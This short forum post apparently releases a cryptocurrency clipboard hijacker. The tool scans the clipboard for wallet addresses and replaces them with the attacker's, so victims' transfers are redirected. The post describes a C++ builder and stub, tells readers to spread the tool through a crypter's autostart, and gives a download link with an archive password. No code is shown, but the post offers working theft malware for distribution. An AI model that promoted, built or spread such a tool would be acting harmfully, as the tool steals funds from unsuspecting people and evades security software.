The tool, after you built it, scans the clipboard for a wallet, where most of them are stored before sending coins from A to B. If a wallet is found, it replaces it with the one from the tool. You can enter your wallet in the builder.
Both, builder and stub, are coded in pure C++ and they only use the winapi. When you want to spread it use the autostart of your crypter.
demo:
http://imgur.com/qgnhSdp
https://www.sendspace.com/file/y610su
pass Basescu: cnN0Zm9ydW1z